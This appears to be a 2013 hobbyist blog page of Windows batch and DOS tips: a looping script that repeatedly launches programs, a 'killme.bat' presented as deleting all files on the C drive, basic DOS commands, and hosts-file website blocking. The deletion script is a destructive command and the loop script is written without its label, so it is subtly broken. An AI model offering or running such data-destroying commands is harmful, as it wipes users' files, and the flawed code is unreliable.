Showing posts with label Batch Programming. Show all posts
Showing posts with label Batch Programming. Show all posts

Saturday, 18 May 2013

Fun with Batch Programming

The following code will run the program again and again. Or it will create a loop

1) Open the notepad
2) Write the following code
@echo off
start notepad
start winword
goto x

3) Save the file as loop.bat






Batch Programming: Delete all the files in the C drive




DO AT YOUR OWN RISK. IT WILL DELETE ALL THE FILES IN YOUR DRIVE









1) Open your Notepad
2) Write the following code
@echo off
del C:\*.*|y

it will delete all the files in C drive.
3) Save as killme.bat or you can give any name to it but after the name add the extension .bat
i. e   "your preferred name".bat

Friday, 17 May 2013

FEW IMPORTANT DOS COMMAND

1) cd
C:\cd users 
It will change the directory.

2) Cls
This command  will clear the screen.
e.g. C:\cls

3) start "program name"
it will run any program
e.g. C:\start notepad
It will run notepad

4)  dir
The dir command allows you to see the available files and directories in the current directory. In addition to listing the contents of a directory, the dir command will also show the last modification date and time, as well as the file size.
e.g. C:\dir

5) md
make directory
C:\ md bijoy
A directory will be created in C:\

6)Copy

Copies one or more files to another destination
copy [source] [destination] 

7) Move

Move one or more files to another destination

move [source] [destination] 


Thursday, 16 May 2013

BLOCK WEBSITE Without using any software.

Let see how to Block Websites without using ant software

1) Run Notepad as Administrator. If you are using Windows8 then "Right Click on Notepad and Select Run as Administrator.






2) Select File>Open>Local Disk C:\Windows>System32>Drivers>etc
You will see a picture like this




3) Click on Text documents Dropdown Icon and select "All Files"






















4) Open the "hosts" file













5) Write 127.0.0.1 "Name the website you want to block"
e.g. to block facebook write
127.0.0.1 www.facebook.com
or to block "Google"
write 
127.0.0.1 www.google.com
It will block Google









6) Save the file to the Notepad file 
Goto File>Save
Done...........

If you want to withdraw you block JUST DELETE THE LINE
e.g. YOU WANT TO UNBLOCK YOU GOOGLE THEN
DELETE THE LINE 127.0.0.1 www.google.com and SAVE IT.
This is how you can Block and Unblock any website without using any software.

Wednesday, 15 May 2013

DOS COMMAND TRICKS: HOW TO RUN PROGRAM USING COMMAND PROMPT

1) Open the Command Prompt


2) Write C:\ Start "Name of the program"


e.g. C:\start notepad